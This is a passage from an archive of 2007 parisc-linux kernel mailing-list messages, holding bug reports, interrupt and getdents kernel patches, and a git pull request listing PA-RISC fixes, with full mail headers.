sometimes returns a value for d_reclen that is sometimes too small.  The
code in fs/readdir.c suggests that sys_parisc32.c needs fixing.

The enclosed seems to fix both the libjava build and the svn problem.
Kyle's branch uses ALIGN instead of ROUND_UP.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 29be437..44400e0 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -318,7 +318,7 @@ static int filldir32 (void *__buf, const char *name, int namlen,
 {
 	struct linux32_dirent __user * dirent;
 	struct getdents32_callback * buf = (struct getdents32_callback *) __buf;
-	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 1, 4);
+	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 2, 4);
 	u32 d_ino;
 
 	buf->error = -EINVAL;	/* only used if we fail.. */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] XFS broken (again) on parisc
Date: Sun, 10 Jun 2007 14:51:53 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <7d01f9f00706100551r57e240a2u510709668f146c03__13824.584746226$1416624395$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624395 24532 80.91.229.3 (22 Nov 2014 02:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:35 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jun 2007 12:52:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 10 Jun 2007 14:52:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2EEC7DD6B;
	Sun, 10 Jun 2007 06:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28331-09; Sun, 10 Jun 2007 06:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CBD37DD61;
	Sun, 10 Jun 2007 06:51:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9564C7DD5E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 06:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28331-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 06:51:53 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.247])
	by free.linux.hp.com (Postfix) with ESMTP id C62B37DD59
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 06:51:53 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id c37so362735anc
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 05:51:53 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=bbRatjb8Pre41FnparE4Q1Lsw6O1lS6PhDBubx+QeY5xD/dx9uDb3deBIoOeWYhy9ofXYA5KC4cNwhS/GcazXca9CR4xM1T9zZ4jk09iRqOjmKlj0sQZ1XurB5oo/VFdwzPq5oIJNX11nYw/i5gVYWSvUVBuSVTKvBNieHCoWz4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=e6cI4cmNWuSZM/XB3YXZfaP/BFlQCCG4HE1e8clfAEyExrkwp2x0RpvIG9xlc/03VbpIeqTz89CgPxi39bo/brHp22ZZoJ9kHmR7hisixck5ijO4rhK9Yy7j4DuvdCOfXvEH1tDAdg1A+pCMu/6DHwBRS+crQae6UtBgM54/8GM=
Original-Received: by 10.100.242.11 with SMTP id p11mr2746803anh.1181479913131;
	Sun, 10 Jun 2007 05:51:53 -0700 (PDT)
Original-Received: by 10.100.46.13 with HTTP; Sun, 10 Jun 2007 05:51:53 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 8c1bcc77ebe382b4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pIcONghpZCEWb7GPamwhkoBwIGhpZcbQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24661

Hi,

What I initially believed to be related to the SCSI offlining problems
we had seems to be more complex than that: I can reliably kill any XFS
filesystem with current GIT TOB by just unmouting and remounting, no
matter if there's any activity on the fs.

The remount attempt will yield:

XFS mounting filesystem sdb1
XFS: Log inconsistent (didn't find previous header)
XFS: failed to find log head
XFS: log mount/recovery failed: error 5
XFS: log mount failed
mount: /dev/sdb1: can't read superblock

At this point, the fileystem is totally corrupted (I'm still running
xfs_repair, but have very little hope given the incredible amount of
errors detected on a fs that's been mounted for about 10s without any
activity on it before I tried to unmount/remount it)...

That happens on 64bit SMP. I'll investigate more later on. According
to Guy Martin, this doesn't  happen on UP kernels.

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH 2.6.22-rc2 remove globab_ack_eiem
Date: Sun, 10 Jun 2007 16:31:41 -0600
Lines: 109
Approved: news@gmane.org
Message-ID: <20070610223141.GA25432__47072.4618564875$1416624395$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624395 24535 80.91.229.3 (22 Nov 2014 02:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jun 2007 22:31:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 11 Jun 2007 00:31:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04B397DD4B;
	Sun, 10 Jun 2007 16:31:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00726-07; Sun, 10 Jun 2007 16:31:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC7B47DD4F;
	Sun, 10 Jun 2007 16:31:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C2977DD48
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 16:31:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00726-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 16:31:49 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7B0D47DD46
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jun 2007 16:31:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id ADBFC338314;
	Sun, 10 Jun 2007 16:31:48 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27059-01; Sun, 10 Jun 2007 16:31:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 06354338313; Sun, 10 Jun 2007 16:31:42 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.15+20070515 (2007-05-02)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sw8JNjdpZCEWb7GPamwhzvZwIGhpZQY4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24662


Kudos to Thibaut Varene for spotting the (mis)use of appropriately named 
gloabl_ack_eiem. This took a long time to figure out and both insight
>from myself, Kyle McMartin, and James Bottomley were required to narrow
down which bit of code could have this race condition.

The symptom was interrupts stopped getting delivered while some workload
was generating IO interrupts on two different CPUs. One of the interrupt
sources would get masked off and stay unmasked. Problem was global_ack_eiem
was accessed with read/modified/write sequence and not protected by
a spinlock.

PA-RISC doesn't need a global ack flag though. External Interrupts
are _always_ delivered to a single CPU (except for "global broadcast
interrupt" which AFAIK currently is not used.) So we don't have to worry
about any given IRQ vector getting delivered to more than one CPU.

Tested on a500 and rp34xx boxen. rsync to/from gsyprf11 (a500)
would lock up the box since NIC (tg3) interrupt and SCSI (sym2)
were on "opposite" CPUs (2 CPU system). Put them on the same CPU
or apply this patch and 10GB of data would rsync completely.

Please apply the following critical patch.
Can you let us know if this gets into 2.6.22 before final RC is cut?

thanks,
grant

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
Acked-by: Thibaut VARENE <T-Bone@parisc-linux.org>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c5c9125..76ce5e3 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -46,14 +46,10 @@ extern irqreturn_t ipi_interrupt(int, void *);
 static volatile unsigned long cpu_eiem = 0;
 
 /*
-** ack bitmap ... habitually set to 1, but reset to zero
+** local ACK bitmap ... habitually set to 1, but reset to zero
 ** between ->ack() and ->end() of the interrupt to prevent
 ** re-interruption of a processing interrupt.
 */
-static volatile unsigned long global_ack_eiem = ~0UL;
-/*
-** Local bitmap, same as above but for per-cpu interrupts
-*/
 static DEFINE_PER_CPU(unsigned long, local_ack_eiem) = ~0UL;
 
 static void cpu_disable_irq(unsigned int irq)
@@ -94,13 +90,11 @@ void cpu_ack_irq(unsigned int irq)
 	int cpu = smp_processor_id();
 
 	/* Clear in EIEM so we can no longer process */
-	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status))
-		per_cpu(local_ack_eiem, cpu) &= ~mask;
-	else
-		global_ack_eiem &= ~mask;
+	per_cpu(local_ack_eiem, cpu) &= ~mask;
 
 	/* disable the interrupt */
-	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+	set_eiem(cpu_eiem & per_cpu(local_ack_eiem, cpu));
+
 	/* and now ack it */
 	mtctl(mask, 23);
 }
@@ -111,13 +105,10 @@ void cpu_end_irq(unsigned int irq)
 	int cpu = smp_processor_id();
 
 	/* set it in the eiems---it's no longer in process */
-	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status))
-		per_cpu(local_ack_eiem, cpu) |= mask;
-	else
-		global_ack_eiem |= mask;
+	per_cpu(local_ack_eiem, cpu) |= mask;
 
 	/* enable the interrupt */
-	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+	set_eiem(cpu_eiem & per_cpu(local_ack_eiem, cpu));
 }
 
 #ifdef CONFIG_SMP
@@ -354,8 +345,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	local_irq_disable();
 	irq_enter();
 
-	eirr_val = mfctl(23) & cpu_eiem & global_ack_eiem &
-		per_cpu(local_ack_eiem, cpu);
+	eirr_val = mfctl(23) & cpu_eiem & per_cpu(local_ack_eiem, cpu);
 	if (!eirr_val)
 		goto set_out;
 	irq = eirr_to_irq(eirr_val);
@@ -381,7 +371,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	return;
 
  set_out:
-	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+	set_eiem(cpu_eiem & per_cpu(local_ack_eiem, cpu));
 	goto out;
 }
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] parisc updates for 2.6.22
Date: Tue, 12 Jun 2007 01:50:46 -0400
Lines: 105
Approved: news@gmane.org
Message-ID: <20070612055046.GA24425__12178.4887662672$1416624396$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624396 24541 80.91.229.3 (22 Nov 2014 02:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:36 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@linux-foundation.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2007 05:51:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 12 Jun 2007 07:51:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D4267DD18;
	Mon, 11 Jun 2007 23:50:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18272-04; Mon, 11 Jun 2007 23:50:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C0807DD0D;
	Mon, 11 Jun 2007 23:50:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B40977DD0A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jun 2007 23:50:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17776-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jun 2007 23:50:48 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C7D257DD08
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jun 2007 23:50:48 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E9E0358409F;
	Tue, 12 Jun 2007 01:50:47 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E39F8584097;
	Tue, 12 Jun 2007 01:50:46 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 9656C23E03; Tue, 12 Jun 2007 01:50:46 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fwNdciJ6f2I+KoicY2xozLJwdWxlc9bB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24663

Mostly "critical" (if you can call anything on arch/parisc critical)
bugfixes against 2.6.21 that took me a while to find the time to fix up.

Thanks,
	Kyle M.

The following changes since commit d25790532370e7448e3d3bd25a17e1e9f1299816:
  Stephen Rothwell (1):
        Fix headers check fallout

are available in the git repository at:

 master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
 
Alexandr Andreev (1):
      parisc: sync compat getdents

Alexey Dobriyan (2):
      parisc: make command_line[] static
      parisc: convert /proc/gsc/pcxl_dma to seq_file

Aurelien Jarno (1):
      [PARISC] Disable LWS debugging

Grant Grundler (2):
      [PARISC] remove remnants of parisc-specific softirq code
      [PARISC] remove global_ack_eiem

Helge Deller (10):
      [PARISC] fix lasi_82596 build
      [PARISC] fix section mismatch in parport_gsc
      [PARISC] fix section mismatch in parisc STI video drivers
      [PARISC] fix section mismatch in ccio-dma
      [PARISC] fix section mismatches in arch/parisc/kernel
      [PARISC] fix section mismatch in parisc eisa driver
      [PARISC] fix section mismatch in superio serial drivers
      [PARISC] Wire up utimensat/signalfd/timerfd/eventfd syscalls
      [PARISC] fix "ENTRY" macro redefinition
      [PARISC] fix section mismatch in smp.c

Kyle McMartin (11):
      [PARISC] Move #undef to end of syscall table
      [PARISC] Wire up kexec_load syscall
      [PARISC] Let PA-8900 processors boot
      [PARISC] kobject is embedded in subsys, not kset
      [PARISC] Build fixes for power.c
      [PARISC] fix trivial spelling nit in asm/linkage.h
      [PARISC] fix null ptr deref in unwind.c
      [PARISC] fix "reduce size of task_struct on 64-bit machines" fallout
      [PARISC] be more defensive in process.c::get_wchan
      [PARISC] Fix bug when syscall nr is __NR_Linux_syscalls
      [PARISC] Fix kernel panic in check_ivt

Milind Arun Choudhary (2):
      [PARISC] ROUND_UP macro cleanup in arch/parisc
      [PARISC] ROUNDUP macro cleanup in drivers/parisc

Simon Arlott (1):
      [PARISC] spelling fixes: arch/parisc/

 arch/parisc/hpux/fs.c              |    5 +-
 arch/parisc/kernel/entry.S         |   40 +--------------
 arch/parisc/kernel/firmware.c      |    4 +-
 arch/parisc/kernel/hardware.c      |   14 +++--
 arch/parisc/kernel/hpmc.S          |    5 +--
 arch/parisc/kernel/irq.c           |   26 +++-------
 arch/parisc/kernel/pci-dma.c       |   94 ++++++++++++++++++++----------------
 arch/parisc/kernel/perf.c          |   18 ++++---
 arch/parisc/kernel/process.c       |    4 ++
 arch/parisc/kernel/processor.c     |   14 +++---
 arch/parisc/kernel/setup.c         |    5 +-
 arch/parisc/kernel/signal32.h      |    2 +-
 arch/parisc/kernel/smp.c           |    8 ++--
 arch/parisc/kernel/sys_parisc32.c  |   13 ++++--
 arch/parisc/kernel/syscall.S       |   12 ++--
 arch/parisc/kernel/syscall_table.S |   16 ++++--
 arch/parisc/kernel/time.c          |    2 +-
 arch/parisc/kernel/traps.c         |    9 ++--
 arch/parisc/kernel/unwind.c        |    4 +-
 arch/parisc/math-emu/dbl_float.h   |    4 +-
 arch/parisc/math-emu/dfsqrt.c      |    2 +-
 arch/parisc/math-emu/sfsqrt.c      |    2 +-
 arch/parisc/math-emu/sgl_float.h   |    4 +-
 arch/parisc/mm/init.c              |   10 ++--
 drivers/net/lasi_82596.c           |    1 +
 drivers/parisc/ccio-dma.c          |   14 +++---
 drivers/parisc/eisa.c              |    4 +-
 drivers/parisc/iommu-helpers.h     |    4 +-
 drivers/parisc/pdc_stable.c        |    2 +-
 drivers/parisc/power.c             |    1 +
 drivers/parisc/sba_iommu.c         |    6 +--
 drivers/parisc/superio.c           |    8 ++--
 drivers/parport/parport_gsc.c      |    2 +-
 drivers/video/console/sticore.c    |   50 ++++++++++----------
 include/asm-parisc/hardware.h      |    5 +-
 include/asm-parisc/linkage.h       |    5 ++-
 include/asm-parisc/processor.h     |    8 ++--
 include/asm-parisc/unistd.h        |   13 +++++-
 38 files changed, 221 insertions(+), 219 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] unwinder improvements
Date: Tue, 12 Jun 2007 14:27:32 +0800
Lines: 123
Approved: news@gmane.org
Message-ID: <466E3CD4.6000509__28332.4412689128$1416624396$gmane$org@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------050403020607080209030200"
X-Trace: ger.gmane.org 1416624396 24548 80.91.229.3 (22 Nov 2014 02:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2007 06:27:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 12 Jun 2007 08:27:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 879447DD29;
	Tue, 12 Jun 2007 00:27:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18678-05; Tue, 12 Jun 2007 00:27:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C3E77DD20;
	Tue, 12 Jun 2007 00:27:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0090C7DD05
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 00:27:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18272-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 00:27:35 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id AEFE77DD04
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 00:27:34 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50) id 1Hxzqi-0004ZJ-T0
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Jun 2007 14:27:29 +0800
User-Agent: Thunderbird 1.5.0.12 (Windows/20070509)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
